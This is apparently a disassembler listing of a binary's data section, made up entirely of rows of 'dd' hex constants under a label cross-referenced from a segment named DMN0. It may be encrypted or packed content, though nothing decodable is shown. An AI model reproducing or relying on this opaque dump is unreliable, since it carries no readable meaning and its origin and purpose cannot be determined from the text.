		dd 0B1327247h, 7688E7F3h, 4B143D04h, 0D9BC0271h, 0B586D7EAh
		dd 77CCF93Dh, 3B5B12D6h, 0F403ADDFh, 7DC60D61h,	0D395B8D5h
		dd 0D599C1F9h, 0FF463954h, 0ADF384C7h, 0D6CFBEC8h, 2C9CDB60h
		dd 0F4E47617h, 0E63A80C1h, 5A88374Eh, 13879EB3h, 0D53650F0h
		dd 0C11C5A7Bh, 5A7E6AF0h, 0E7E564BAh, 0E268AECh, 94FA1918h
		dd 27FC4EF0h, 8EA3C123h, 0CF0D7E3Ah, 84B773D5h,	0D999EDB4h
		dd 0F1E4FC3Fh, 76EA9438h, 72EF77FEh, 20021EF0h,	0C23B1556h
		dd 95862F3Dh, 97F390EAh, 1979E2B5h, 88445722h, 0A8BF1DBCh
		dd 6F40384h, 95FB782Eh,	0B04F9498h, 0AC29EE64h,	0D6A7D2A2h
		dd 83B883E2h, 0DE32EE3Ch, 76D30FE5h, 655BAC64h,	175F93Ah
		dd 1410C6F7h, 526DB517h, 0A5B288CCh, 93867CB6h,	74883987h
		dd 0B2FA25DDh, 787AA4Ch, 366579A1h, 1558B907h, 0B6795865h
		dd 51FA9F89h, 0DA9AD3E4h, 0C7BB9B26h, 3CB13B7Ch, 61B6ACC4h
		dd 0E5617AF6h, 0FE49C72Fh, 3E7D718Ah, 0CF9B8FDBh, 0D4983FA5h
		dd 8F20DC98h, 0E209CEA7h, 52E7DB7Dh, 4686C8F7h,	0AE9E3FFBh
		dd 0ED17552Fh, 0D19509FAh, 0A3A4DE56h, 0B16B8DE7h, 17DF25C1h
		dd 2BB7EA9h, 0AC2D780Ah, 0C238C3E7h, 4BDF10Bh, 0CC22E329h
		dd 9701CCEDh, 5D040AA1h, 0C98D5438h, 0E2C29271h, 8327C6A3h
		dd 5EC84ED9h, 58C1896Dh, 6225A4BAh, 43891820h, 0E6D5E697h
		dd 6AABEFh, 0A6B48295h,	9BB48D11h, 0C269BDC5h, 0A50C5069h
		dd 0ADB75B83h, 95080A58h, 4E57DF60h, 0ADB3180Ch, 8C927AC4h
		dd 0C7FA3A99h, 6E662FADh, 0CFA9ADEh, 0B4D130DAh, 2454DF2Bh
		dd 3401480Fh, 6D9671DAh, 0BF2D1B35h, 39031A5Ch,	91677736h
		dd 7F9A8286h, 0FE036F43h, 0C1C6889Ch, 173870E0h, 521B4309h
		dd 924341E6h, 447B3978h, 3FF2F8E4h, 5078A9E4h, 0A3A29746h
		dd 88CEE76Ah, 0A73447AAh, 0B50B4406h, 0DA35865Bh, 9D7FBBF5h
		dd 0BFA7A52Ch, 22D17138h, 5DC21337h, 4C5C0CE9h,	1005B1CEh
		dd 71FE5D36h, 43D2AB35h, 0D7604B63h, 0BC3EEE46h, 0AD63607Dh
		dd 0B58E0E0Fh, 44ED943Ch, 5CB46FB3h, 0A3698E40h, 153D3A6Ch
		dd 0C85B7A04h, 0A9839928h, 39965A62h, 2A97947Fh, 0B52FB55Dh
		dd 0D5968F25h, 0F8B9E972h, 787A5DECh, 8CADA3B0h, 0ECF33279h
		dd 910FE0FBh, 0C157051Ch, 551C31F5h, 45F77464h,	0DEDC569Eh
		dd 1D4DDA9h, 42232BADh,	758347FDh, 70781950h, 0D58C835Bh
		dd 0AE89B3F5h, 0AEA19D38h, 1FE00F34h, 0AFA9955h, 0FF5BFA79h
		dd 5F009D4Bh, 0DAB9920Bh, 7AF89F6Bh, 0BEF92DFDh, 21D3DE79h
		dd 419149B9h, 7FF7996Eh, 90407D82h, 707A5913h, 0E221D87Ah
		dd 47811134h, 6657B2CDh, 746DE37Bh, 0D751EC65h,	49BFAC7Eh
		dd 9616F092h, 0B0466868h, 0ECC075E2h, 6100A493h, 4D39E30Dh
		dd 0B06098E2h, 6ED413D8h, 0B2CC333Eh, 7A70170Ah, 1A73F7A0h
		dd 0C73101Dh, 0F9E09CECh, 1B916BF7h, 8C336038h,	8B64BBE7h
		dd 0D6F9E1DBh
		db 0BAh
byte_464E49	db 1Ch,	0Ch, 51h	; DATA XREF: DMN0:off_4100FEo
		dd 0F83FFAE0h, 51A1D0FCh, 0C1ECBB6Bh, 674A3E41h, 0B5410DEDh
		dd 270FDEDAh, 61EE074Fh, 0BD83474Ch, 0C212B3AFh, 4ED0EFC0h
		dd 0B60EE018h, 89685749h, 0B4632349h, 6E3E0C40h, 56B4A75h
		dd 7E0E31CFh, 0EB51E179h, 846F3505h, 17A8BD7Bh,	0B5F2AA52h
		dd 9C3D80D4h, 0DD321B34h, 0E541D72Ah, 0EC73D951h, 374E61Eh
		dd 84BBA5DBh, 979DA768h, 81DA8EF8h, 37769CE8h, 0FC07D531h
		dd 4D2E47DCh, 7DAC29B9h, 0B85004E5h, 8DC8154Ch,	0D2AB98C5h
		dd 96EF48BFh, 3A2AAFFFh, 1DFC6090h, 0F34B6807h,	516CE0B0h
		dd 2D44F098h, 936D7EFDh, 0C629E37Bh, 8DC9F63h, 5194C9FEh
		dd 633FBE35h, 0FC0F26B2h, 4C1156C6h, 7B527016h,	9B294E51h
		dd 8A24B05Ah, 7B15C2CFh, 5AC03504h, 7A576C7Fh, 1CC365h
		dd 20CC018h, 10097288h,	74191CECh, 32C21EDFh, 0CB9576E5h
		dd 16F724D5h, 5F707841h, 5B6BC009h, 0B6B49DBBh,	0D6173F43h
		dd 79AF4E36h, 0B1249E1Ah, 0B1A5F113h, 0C37486ACh, 35F1C779h
		dd 76FDB823h, 0E6E8783Eh, 2AB5EE08h, 548AAF7Bh,	0BB86EDE1h
		dd 8DF863F7h, 601DD435h, 50AB8B5Eh, 4032AE94h, 0B8902C7h
		dd 9BBD11F4h, 0DB51394Fh, 242C4E25h, 0D8B671E9h, 0FA1A3C08h
		dd 0C55C3117h, 4A47F3EAh, 0B953F35Ah, 0C3BF378Dh, 854BECADh
		dd 0D675B0A5h, 9C31E3E7h, 5A6B1E84h, 8BFD306Ch,	51B820B4h
		dd 7E4A1D85h, 763C5F7Eh, 7DC3979Eh, 1B3FCA78h, 0FECA2BCAh
		dd 788102A6h, 0EB2DED55h, 0F2DFBA38h, 1D351F20h, 2A3B6A23h
		dd 511E7CAFh, 7663694Ah, 0AC7A26CAh, 8CD11D79h,	7B35EFF0h
		dd 0FE82D9EBh, 9039C07Ah, 59A62C09h, 0EEC7E986h, 52F73A7Bh
		dd 4DDD8494h, 0C25355D9h, 0A74C50D7h, 0A61393B3h, 0EB367AB8h
		dd 0A3C70328h, 94CB5DA0h, 2C20DB08h, 23D4AAE5h,	62ABADh
		dd 8245B16Ah, 0C649802Fh, 296A1AA3h, 2146B6Bh, 499B7ED1h
		dd 43A55A00h, 7EDEAA9Eh, 4C049642h, 9BEA44A1h, 0EDCCFA05h
		dd 3BFAEF42h, 3077461Eh, 3F42FAB3h, 150A6911h, 0EA0F887h
		dd 9AF083D3h, 6971AC02h, 7A45C128h, 0B575D978h,	0B68B20Eh
		dd 0E2B34CA8h, 0F17178E7h, 80490025h, 0FC8D68Fh, 0CC607FBEh
		dd 0EFF306DCh, 0E4446608h, 0D3F49750h, 4E329DE1h, 27B1BD6Dh
		dd 0DD1F77AFh, 8F717AB7h, 3EFAA21Ch, 709461A5h,	24917004h
		dd 998A348h, 0FB5C249Ch, 57AAE93Bh, 8BE1CEFh, 9008C138h
		dd 0E695250Bh, 945E0A10h, 59C92A9Ch, 5425CBF7h,	50F0799Bh
		dd 0D0D4E2B2h, 5B924119h, 0D807342Dh, 0BEB61E60h, 7ECF66BBh
		dd 0D35B0EE8h, 0AAF987C3h, 78CDC4F1h, 0FB0F86A9h, 496A9D38h
		dd 0B5203F7Fh, 23B04DC2h, 9A46AED6h, 1EFC362Bh,	8BBAACDAh
		dd 0C304996Dh, 0C833CBF0h, 0B143A68Fh, 0B1BDE457h, 0B57A9C5Bh
		dd 299AEB0Dh, 697823ECh, 0B9F6CD47h, 58F39950h,	26A514D8h
		dd 606E1B3Ch, 44E4F16Dh, 0BD1E4070h, 14A67AC5h,	151215D2h
		dd 0EE267B59h, 275421A5h, 41337B15h, 7863C51Ah,	3268A8Bh
		dd 1093FBA7h, 6D917ACDh, 0C9AC4B35h, 2DE366FAh,	1C5B4A89h
		dd 100C1636h, 2C95C4A9h, 3FA0F7DEh, 18D2A657h, 76D3EF97h
		dd 82B3D9AFh, 6764540Ch, 0FEC85E0Ch, 0F9854775h, 7AC01BAAh
		dd 12104F4Eh, 3719D693h, 0D41C47D7h, 0D5205407h, 290DBDDDh
		dd 78312A26h, 0CA436C4Ch, 0A2E86C6Eh, 3251EC2Ah, 0BAFA48EEh
		dd 0F2BFF624h, 2FC82761h, 13685EB5h, 0F3EA16B7h, 3C773B7h
		dd 5B2C9F90h, 404A11B0h, 0BF658DEDh, 37722E09h,	7DDFA1Fh
		dd 3BD9A86Dh, 1985A11Ah, 9CF2977Bh, 14623FD7h, 32E55777h
		dd 3A5F0118h, 0CE998596h, 45B45E3Fh, 0AAF946FFh, 9F216DFAh
		dd 0BF8F2894h, 21BD5FC5h, 0E0AD9A81h, 9512E7D4h, 0AA2478EEh
		dd 4848D444h, 0E90117D2h, 0B8A4DAFh, 0FBFBAA92h, 0BBF0297Dh
		dd 85BE0868h, 0C5F5F6FDh, 0CEFE5BE8h, 0CB8BE0E1h, 2DBEA0D5h
		dd 0E540305Bh, 0BD1A0B2Ah, 7FDD0D2Bh, 54C91239h, 6106360Bh
		dd 0DC8C5284h, 0D87FA0BBh, 63EB4296h, 1125B269h, 29211D6Ch
		dd 656619A3h, 0F5CCA01Bh, 77BF81F2h, 0C37A7C19h, 0B59AD7EBh
		dd 8BF5AC4Fh, 0E659AD12h, 44A6BC1Bh, 0A9EDC8F8h, 5CC19601h
		dd 4CB46FDCh, 49ED88B4h, 0F3A865B2h, 0ACBAF015h, 9EF59846h
		dd 40AEA938h, 66C1CB42h, 25875D8Bh, 0EE67AB19h,	0D5E4D82Ch
		dd 0EB5A28Eh, 9A51E812h, 0C6833B59h, 9B6A36E8h,	6C4928Dh
		dd 9CFA3AF5h, 4D3F2AE5h, 0E40E3269h, 0F59AB2D8h, 2925E36Ah
		dd 0DDA5CDCEh, 78BEA9AFh, 1C3993F0h, 5EF6DD65h,	0B34A17D7h
		dd 0D465A7E7h, 35A2E47Ch, 0E8108E49h, 0E00ABD12h, 320CC7B8h
		dd 69FF427Bh, 0F498E4B6h, 217C0D43h, 0D0C43258h, 0BC22D95Bh
		dd 0BAA9404Eh, 5FF39303h, 0E04DE5F0h, 0EA7E9099h, 67A9FF50h
		dd 80D1C8E9h, 4612D333h, 0C1C3CC37h, 0ADDC9C5Dh, 92205179h
		dd 5D8A14E3h, 86D0E78Dh, 6AE2D38Fh, 84756E5h, 2CB13712h
		dd 94BDAF19h, 14F8F46Eh, 0FCADE1E3h, 5940CB1Ch,	0DEE8452Dh
		dd 84D9DDCAh, 22F465D0h, 0BEFAD0F5h, 77D7A2D2h,	9320A120h
		dd 7A09BF7Bh, 244BD906h, 9BB28CD5h, 1683F301h, 0DC029CBCh
		dd 0DEFEC868h, 29E0216Ch, 0E58B89B7h, 972585B9h, 44707C2Bh
		dd 631FDE41h, 47057D4Fh, 403DDC2Ch, 28AFEE2Bh, 9FC5626h
		dd 3F847E1h, 2A44353Ah,	8B2049Fh, 1A6A186Eh, 15CFBACDh
		dd 0DA4C923Eh, 0AECFC1B0h, 50D814C9h, 0FC3DC4C6h, 0F153D97Fh
		dd 39F13FF9h, 2AA9446h,	7F9D2D1Ah, 0E708338Ch, 0E56A4729h
		dd 0FD1C01F6h, 5334A210h, 0E20F960Bh, 6E0746C0h, 9995C98Ch
		dd 53F09C98h, 9E2851A7h, 0CB1A0793h, 0DEB070FBh, 23233F37h
		dd 0DF43108Dh, 0F1B28859h, 11BBB575h, 0E5B8F950h, 61E3301Ah
		dd 0EF299678h, 11DA6C4Ah, 50E119A2h, 4EEE6EA7h,	3802B2DAh
		dd 97A67C52h, 0EDC1C106h, 0C8E05303h, 0FC973566h, 0F46B6451h
		dd 0FE0434BAh, 0B312553Bh, 0F595668h, 0FB41E0FBh, 7DDEB377h
		dd 87E1D3B4h, 76450D7Ah, 900022ACh, 5FF071DBh, 89A1EB5Fh
		dd 0E678478Bh, 41E2CF93h, 7E09B490h, 2811A7BCh,	0A9B176E4h
		dd 0CC9F1030h, 0C4AE45B8h, 0CBF7716Fh, 6B48256Ah, 3589C02Eh
		dd 0DE35E3BCh, 88DAED0Fh, 4079A362h, 0B4666E4Ah, 412A2AB1h
		dd 0E5096D83h, 0F85DD29Bh, 9F79560Ch, 1CB819CFh, 0C0073E41h
		dd 0CE0FA1A8h, 0A5F432FEh, 1C9DF569h, 5BBD2534h, 0A6D6CC4Ah
		dd 0F0F883ECh, 0B74A063Bh, 0DC57D9ECh, 0E6716434h, 847CF053h
		dd 5EF7B2F1h, 0AAE43865h, 9F4E12DAh, 711C379Bh,	0C00F39E2h
		dd 454686BBh, 0CFD1C9AFh, 0B8F6DEB2h, 4BC797AEh, 4474EBF4h
		dd 0A07A2F92h, 65D060C1h, 0CF27DB3Fh, 8126D99Bh, 48CFC19h
		dd 3CDDFC49h, 4019E8A9h, 38682BC1h, 0F971E4AFh,	0F94605C7h
		dd 3E9AE332h, 0E2F32FC0h, 0CEA881Dh, 0C3D2D955h, 0C7FA3A9h
		dd 0AC1AB0E3h, 2D11F97Eh, 0B0CD688Eh, 0D6568205h, 77264088h
		dd 96F5E6F2h, 4BCE40DBh, 0CCF806CEh, 547D6052h,	28165041h
		dd 8F576817h, 4F7093BBh, 4F9842FCh, 44C3431Eh, 1234109Fh
		dd 4A0FC4DDh, 37CC7FE1h, 0E257F360h, 46993F8Eh,	0D386FDBh
		dd 82007A41h, 42ED0CC2h, 0F8A7AFB9h, 0B9F1BC8h,	0BC01E7E9h
		dd 987987F0h, 0AFE55D4Fh, 69EEE189h, 77F28F46h,	1D2525D4h
		dd 0EFE6EBB8h, 7833E77Ch, 0D0EB02F6h, 829CD24Fh, 0E9A4F1AEh
		dd 39A7D1FCh, 72FBD857h, 91C9A444h, 38137C5Dh, 706543BAh
		dd 2CE8FB32h, 23FBA660h, 0B712E9E1h, 0C8B09D7Ah, 0C4D91995h
		dd 1D27DEBh, 49D239C4h
		dd 8DFF15C4h, 6E7BA8A0h, 18A14529h, 0A5BB234Ch,	4C2D35C0h
		dd 4F785C73h, 1B28C2C9h, 21C6E08Eh, 6C871F5Dh, 35B50F60h
		dd 0A260643Fh, 70794579h, 83956913h, 939A803Dh,	98820E02h
		dd 120C2C84h, 2C1A1AC6h, 0DF425FDBh, 12DFF635h,	0A5AF0F11h
		dd 0BC45C1F7h, 7B79554h, 0D31C1CCEh, 613C1666h,	6CA9E03Fh
		dd 0B9F25DB7h, 65336DA2h, 39A9DD18h, 9FE9D2F6h,	78D1841Fh
		dd 9958BC24h, 0E4CA9AF1h, 86EAD623h, 0D0F4A45Ch, 0A5AE76D1h
		dd 720B5D12h, 0F7C5D71Eh, 673A985Dh, 0F21EAE27h, 3D8F5319h
		dd 8E83DF5h, 590C59BFh,	856021C1h, 4D33CC49h, 0DECE22CCh
		dd 0AF0D87DAh, 44A35E0h, 9D11BDB4h, 0F01D7495h,	9A29BCDh
		dd 966810E8h, 7D8FF81Bh, 0CBACF54Eh, 0EC859369h, 0DF7C9AC2h
		dd 2D38A792h, 20B4754Ah, 0CF76BA78h, 707EF40Eh,	2B5E3155h
		dd 0FE0059B0h, 0BBC6A032h, 2ADB8EF9h, 9FDE2CCAh, 0ECC23AA9h
		dd 0FEE62531h, 504370E0h, 0B3DEA2F1h, 61ECA701h, 440FA2C8h
		dd 4EE03B4Bh, 87366D0Ah, 0AFD1DFF8h, 0C4B83198h, 3C5A5196h
		dd 0A784B77Ah, 692B03Dh, 0A93B1F5Fh, 418AB08Ah,	0C85E91EBh
		dd 0B6A404CCh, 3563702Eh, 0E27DC6BAh, 45AA07F0h, 6DCFA642h
		dd 9D4D7C78h, 0C022B765h, 0D6F5CA8h, 0C54DA037h, 0EE0CE3CFh
		dd 0D7AA9A3Dh, 7D44C2h,	9D9C8BA9h, 1FE15F35h, 8D387517h
		dd 6552EACh, 0DEBA9D27h, 0C1D03A5Eh, 152650DAh,	525A2F9Fh
		dd 0E68E6209h, 0BCFD679h, 4E2CB3ADh, 4728188h, 447015DFh
		dd 6ABE2212h, 6872EB35h, 0ECBC9D7Fh, 0F50722FCh, 0EB814BD8h
		dd 0E9F90C7Eh, 0F4AD5766h, 0E1BBF015h, 1F868F24h, 2B800136h
		dd 0A9C1E256h, 92524477h, 20B8996Ah, 0D342174Dh, 7A6222C5h
		dd 7E53D223h, 9B3F7A82h, 0E0AE8C2Ch, 0A68C4ECAh, 9B72A734h
		dd 97D472BCh, 575AEFF0h, 0AA526058h, 0F828A205h, 0B54C26CCh
		dd 46D0E9EAh, 331282BFh, 0A7384E7Ah, 2B4337A8h,	0BB4C05A0h
		dd 0E090B7B3h, 6B893A94h, 944846C0h, 9F96EFDFh,	0F9AD5E86h
		dd 0C3248461h, 3E0A92C8h, 5EA7854Eh, 0BC905122h, 93D4DBECh
		dd 8FC95B13h, 0BBB6F5A8h, 76BCEB92h, 8E5991E1h,	0B0CAA53Ch
		dd 0AC6322B5h, 40776E98h, 14519052h, 0E526D177h, 60E9AB95h
		dd 7D64AB10h, 32C7791Dh, 0CC728A3Eh, 6A28A703h,	68434459h
		dd 338DEC9Ah, 0E68C7D4Eh, 0A4A922F9h, 5EACEF5Fh, 886D7445h
		dd 5F896516h, 0AEC6E1CCh, 18835C42h, 96829C2Dh,	0D97A9CD7h
		dd 8A90BEE5h, 4BFAB2BEh, 9C6AA1B0h, 9812C27Ch, 0C9225BCEh
		dd 0E4577BF3h, 0CF2E3408h, 0E72E943Bh, 81AAE36Ch, 0B25DBC84h
		dd 13F70B51h, 5842FF2h,	742744A3h, 0FE439BE3h, 5D8A4C7h
		dd 8E8FDE1Eh, 0DB196480h, 0AEFD78h, 93DF7B8Eh, 3FCBD3A2h
		dd 0B82DB7ABh, 54D09AA4h, 251A3529h, 5B023FF6h,	5A239EDAh
		dd 0CBC69E5Ch, 4A77D151h, 25B67FF3h, 0D81A61B3h, 31CE53h
		dd 9579593Ch, 0C62C1090h, 0E294CD95h, 92A5CD16h, 66C0B2D0h
		dd 7C1C7E1Ch, 0A4A14F69h, 81885EF7h, 78B3A46Eh,	0ED06E30h
		dd 0C30300DDh, 0BD305384h, 53FC9A33h, 75568AF1h, 4039EAEEh
		dd 0CF2FDEF0h, 0ACFB5811h, 9514BBEh, 0B1AB4D89h, 19E634E6h
		dd 60CFB029h, 9FF5F826h, 0BF4F2373h, 28E653EBh,	438EAE1Ch
		dd 0FBD7399Dh, 0B8175A9Ch, 98F370F9h, 50940AB0h, 0BF144328h
		dd 0A431F5AFh, 0EC166DDEh, 48A876E8h, 10452EE0h, 20FA2FC0h
		dd 6D866C3Ch, 0E2F8EF48h, 30FA687Eh, 893B404Fh,	94223A2Ch
		dd 2C0BCC4Bh, 0E6B4B433h, 9D4075DAh, 76B44C0h, 7EE0A5FFh
		dd 0C9D1F06Bh, 6A5BEB48h, 9ED6DF4Eh, 0AE7F9D57h, 4F357331h
		dd 2B644D30h, 0DE98DFFAh, 0C54ED97h, 0EAF86AA2h, 8137844Ah
		dd 914CEEA2h, 0A0A386BBh, 531105D4h, 516C5A18h,	0F033A033h
		dd 3F714298h, 48EEA6F4h, 5578539Bh, 46B3E481h, 0F4B851FAh
		dd 0FD3FD06Ah, 9EC4151Ah, 126EBA14h, 25D13188h,	31C4ECD8h
		dd 0FC94BBE8h, 0AE2CAB34h, 9F5C5E7Bh, 7A81C7EFh, 7B688392h
		dd 8751F6CFh, 2611D2F0h, 0D30B0C34h, 6140A93Eh,	293D8E6Ch
		dd 16B6D48Ah, 26E022E1h, 0C71AA039h, 2B7F929Fh,	7CC72E9Ch
		dd 0D0894A5h, 94AB1D7Fh, 1C9250A5h, 0BF795ACEh,	0BFA28979h
		dd 1AB0D958h, 35F65907h, 6301A089h, 8199C5E6h, 0EA30300h
		dd 24BB5ACFh, 94F836B5h, 13472263h, 0D2B8D2C4h,	82D59501h
		dd 75E8A021h, 0D37C5E81h, 41A27996h, 0CFF0349Eh, 62293898h
		dd 0E6E4DD33h, 520B9739h, 56194C37h, 1F936BBFh,	0B0BF5DE1h
		dd 1EA01CAFh, 38DC728Fh, 1AE48553h, 3331E31Ah, 0E3993425h
		dd 83AC5032h, 5AD2E03Fh, 0D8E98AAAh, 225336CBh,	0CB19DD66h
		dd 0CC3D3730h, 4039842Fh, 7F8098CEh, 5A09E111h,	0F77E6FEAh
		dd 3762447Ch, 86589892h, 0BFCE0894h, 0CE61BC48h, 3E6EC262h
		dd 0A77F1884h, 0B666E74Bh, 2A814688h, 0E1410FAh, 0C82F9DDFh
		dd 56A8011Ch, 12D6783Ah, 0DEA003BBh, 982150CDh,	0FE2AC399h
		dd 0C17BAC12h, 0C171C2E4h, 0D982EBD3h, 7F435E66h, 0B1842C0Ch
		dd 0DFBFFAF2h, 0D809C50Fh, 77AF7A1Ah, 1097D60Eh, 1A304ABBh
		dd 0C1F58B3Dh, 0C5F50CA3h, 8B38091Dh, 0CAEB92Bh, 8E68A7D4h
		dd 0BD2F47B0h, 83B34C86h, 40C61666h, 725AD84Eh,	2F9E1441h
		dd 635FADCh, 71A10127h,	6428C0B6h, 34189AE7h, 361A4CF5h
		dd 0ABB9C93h, 0B73C2EDDh, 4F5C4C2Dh, 0BD68CAA0h, 0A4C66300h
		dd 8E537BF9h, 5F0D00AAh, 25DB1841h, 553BC661h, 0B4CAED14h
		dd 557223C2h, 2584B445h, 56427ABCh, 473733BDh, 0D351E32h
		dd 6A00D0DDh, 96E90198h, 0CEA42F69h, 572740F8h,	0A26E1948h
		dd 5CFD4CF4h, 0BEA3146h, 7F5D85D3h, 0A8B7CE7Ah,	6FD8AB9Ah
		dd 0B820FF6Ah, 0C0581391h, 6F0267Fh, 78B2010Ah,	0F5635BE2h
		dd 0FA84A200h, 0EC81A545h, 0C892564Dh, 89522CA0h, 64592136h
		dd 59E0A939h, 6C9A128Dh, 0B744EBFCh, 0F7603252h, 0C2EEBCCFh
		dd 235CFC83h, 2A23EF14h, 7F007F8Bh, 9055CC33h, 2E9717CEh
		dd 0E274F22Dh, 90AE9712h, 6745518Dh, 7DBBCF7Dh,	252F8543h
		dd 9186A0A8h, 0D5438BDCh, 99A957DFh, 0A9F33570h, 6889AF51h
		dd 2BABE6CDh, 6078A4E8h, 0FE021135h, 7E70DA80h,	4FDF83Bh
		dd 74149538h, 0F6903AC8h, 9D3F147Ah, 7764E1FDh,	0D576EA75h
		dd 94EACB55h, 0C9F5CB77h, 43372771h, 8CB1BB0Ch,	7562BF7h
		dd 15175885h, 7894D53Dh, 2F9CB21h, 3AAE7AAh, 1541DB4Ch
		dd 480B63E4h, 932C9864h, 0B88B9D5Eh, 7CCBDFB4h,	52C08C24h
		dd 0C5EC4335h, 214932AEh, 0C7DF8FBh, 5C5A038Ch,	3B077B69h
		dd 4EB26781h, 1472209Fh, 45F8C0C1h, 67697069h, 19413745h
		dd 77E3FC64h, 0E24A7369h, 9CFEE56Ah, 0FF0B3CC9h, 0D4D9CBD9h
		dd 95484DE5h, 4A7F5F6Eh, 7E26BF28h, 0C6B6C962h,	0D55E67A7h
		dd 77A3D1C7h, 22ABE084h, 0C4406118h, 0C4276BC7h, 9B6DF00Ch
		dd 405075ABh, 0FCE08E23h, 0A4B0178h, 0DAD0B44Dh, 0EF8D6CF6h
		dd 0AD20B7F1h, 61EAEF33h, 72969CE1h, 0C1EF42CCh, 28538EAAh
		dd 0AFF819AAh, 0A5B2B82h, 0EA80AE26h, 0D1568464h, 0E61534E3h
		dd 23F46AC3h, 384B1BD4h, 0E97D6903h, 44B0F5EDh,	76B28B2Ch
		dd 1AC45599h, 82FCEAD0h, 12F900E7h, 9CBC0502h, 0EA668B20h
		dd 3555FDF3h, 0F470E358h, 37E6A334h, 2723B91Bh,	9875CCEBh
		dd 0FAE3D1EEh, 0A46F5772h, 119DCAA6h, 31C08165h, 8B30DD94h
		dd 9FC7C74Eh, 0EDBC18D0h, 1711ADh, 9F5D4AAAh, 2A2131AEh
		dd 0F88F2DDEh, 5F038DF2h
		dd 912E0946h, 0BD6B258Ch, 0A8312E52h, 3BCF6981h, 66F2B40Ah
		dd 0CEA1C27Bh, 0F7708D4Ch, 811B0CC3h, 1F20A7B9h, 0F6DAD09Ah
		dd 0B4196625h, 293F0E40h, 0BE639FE6h, 0BA97E0E1h, 0B82C269Ch
		dd 8CEB8EBBh, 93FAEB17h, 8DF96D7Eh, 0B6FC988Eh,	0C1CC938Fh
		dd 0EB6EDA22h, 43E0F10Fh, 4B1EEA55h, 37049400h,	0F4167E38h
		dd 0CB278665h, 88140C35h, 18A9560Eh, 27BA0563h,	48D68F24h
		dd 0FA50B42Ch, 389F6A17h, 0ABC724D5h, 0F977A80Ch, 34844F66h
		dd 2219F1C8h, 7184D7B6h, 9ABBC284h, 952F18FEh, 260C7506h
		dd 0D230E874h, 6BC5832Ah, 90A15384h, 0FA60C4D1h, 6B4CB796h
		dd 21B06C12h, 0B3E739F3h, 0C8B64BDBh, 0D943AE17h, 0D6C23CDFh
		dd 15E9D629h, 33153C64h, 0FBDA347Ah, 0C6A69A82h, 0FC9FA0EAh
		dd 99C6CE42h, 9480DB2Eh, 1EF81A8Ah, 9E3A131Ah, 3194C423h
		dd 8B070511h, 9E7D8843h, 6B369BA1h, 3B6C24Dh, 969B56ECh
		dd 995B7DD5h, 0E8A1A978h, 3A469BE9h, 6F7019D0h,	0ABA1A143h
		dd 4A8FF599h, 2BD350FBh, 0B21E8857h, 9176ACE7h,	205D34EBh
		dd 0E73FB7D1h, 24BC6F51h, 70E3FA4Dh, 0E9F126E3h, 0B0D57AC9h
		dd 9806244h, 822A37FFh,	8C5EDE0Eh, 0A6578776h, 18E55E6h
		dd 2C993EC1h, 1427EB58h, 4D1F517h, 2DA4D1C5h, 67826C38h
		dd 0EC89E28Ah, 0D1CB1919h, 0EDFE1DD6h, 0BA6E8FDh, 0D2D55F7Ah
		dd 334D2992h, 4BF9E5D8h, 0DF7B0029h, 7137E65Dh,	83E83DD4h
		dd 796C734Ah, 0BE4881Bh, 5B1BF268h, 0D777E5C2h,	94923CA8h
		dd 5A7AE0D6h, 0DDBFBF87h, 39D32D4Ch, 0CB004A55h, 0E47118DFh
		dd 0E49FECC9h, 7ECD1A4Eh, 0E8CEA24Bh, 442A86E3h, 20327D21h
		dd 5CF5607Ch, 0BFE1A6D3h, 7A02C8E3h, 2B31B98Ah,	0C23C537Dh
		dd 55F07DDAh, 3C60193Eh, 0EEE28FD8h, 0C14E7899h, 0B64BC941h
		dd 8CCBEF6Bh, 0ED951F9Eh, 79B7E095h, 0DB697150h, 0F1C6576Eh
		dd 8DE62EAAh, 3D6A3980h, 503857C8h, 3FA36B83h, 0E41D1BECh
		dd 0F55B76E9h, 0B7D5136Eh, 70F02AE0h, 42BB5E44h, 0A88F7A7Bh
		dd 0BC91F10Eh, 1B12B5B9h, 21098989h, 52CF8B33h,	13EDC3A0h
		dd 89AF82FAh, 0FD9E7752h, 0F0A766B2h, 0F6DACDCFh, 902A3462h
		dd 20B4B965h, 500051FCh, 0BE4FAD17h, 9E610D88h,	580ED5E6h
		dd 0D3FE9D9h, 0E9EDCA3Fh, 6468E655h, 0B1A52546h, 0F3828E94h
		dd 9729D5D0h, 1D2CCE2h,	566479DAh, 0B7A1DE8h, 0DD0F5CFCh
		dd 5646FB85h, 6EA4110Ch, 0BB3F75C3h, 0D82D8B30h, 1D7D0B28h
		dd 0CECA9EB8h, 1A298AD5h, 0F7BF5A73h, 61D5BE85h, 520CBAE3h
		dd 0FB0AC394h, 55FB6FD3h, 0E6817E4Eh, 0F2B19D71h, 1D99F3B7h
		dd 0D060A19Fh, 920D7EB4h, 45F94124h, 2E5CF320h,	0FC4579FCh
		dd 552A5E73h, 9C0E9019h, 6DF1E950h, 4C4CF8DCh, 4D9BA13Eh
		dd 0A037CD34h, 0B9D7F93Ah, 5F9BA5B6h, 9B30262Ah, 687506D6h
		dd 199ADC43h, 414143F6h, 2C458475h, 3838DB2h, 0F0E1C07h
		dd 28ED2C07h, 8465D81Fh, 697188D1h, 54D3F537h, 0D7D17CFCh
		dd 1A9045CBh, 44B7C324h, 0B50AF523h, 432B8619h,	0C41960EAh
		dd 0B0D47994h, 544E55C0h, 19CA6947h, 3DC927D6h,	95BC3B97h
		dd 0E374FC22h, 539625C9h, 5D801271h, 688662B6h,	0C16CD024h
		dd 0C100D5E4h, 0DA59DE91h, 0A2DA993h, 0B68C0EDh, 3F9F205Eh
		dd 82FA2B1Ah, 14A14C84h, 2A3B0836h, 43F4DEBh, 99A225FBh
		dd 3513EC9Bh, 34AAB4A1h, 52E503CCh, 2AF9AC4Eh, 9D985A1Dh
		dd 0C29C715Eh, 752B9FEEh, 0B1AC38Fh, 0AB9B304Ch, 8EC446D8h
		dd 18CBF9BDh, 55661182h, 0C3AD1EDAh, 53557957h,	0FADFBDB3h
		dd 263B975Fh, 0C396554h, 761C1D45h, 83ECACBFh, 0C88580ACh
		dd 0F12C6F80h, 23209F2Ch, 62F24129h, 0A5190911h, 8C921797h
		dd 31E7F06Dh, 0F9172FD7h, 67C2D173h, 7E5C05EFh,	0A4FFD71Ah
		dd 3FAF9CEh, 673DC52Dh,	76DF11A5h, 0FD54368Bh, 2A1034DFh
		dd 0B782B242h, 0BDEBF31Bh, 8AE70456h, 198E0AA3h, 67EB6CCh
		dd 71EE1187h, 43B2B4FAh, 94033Dh, 533202Eh, 306D72A7h
		dd 502AC023h, 0E086B5EFh, 461D0BD8h, 6A122BA8h,	0EA9EDEBBh
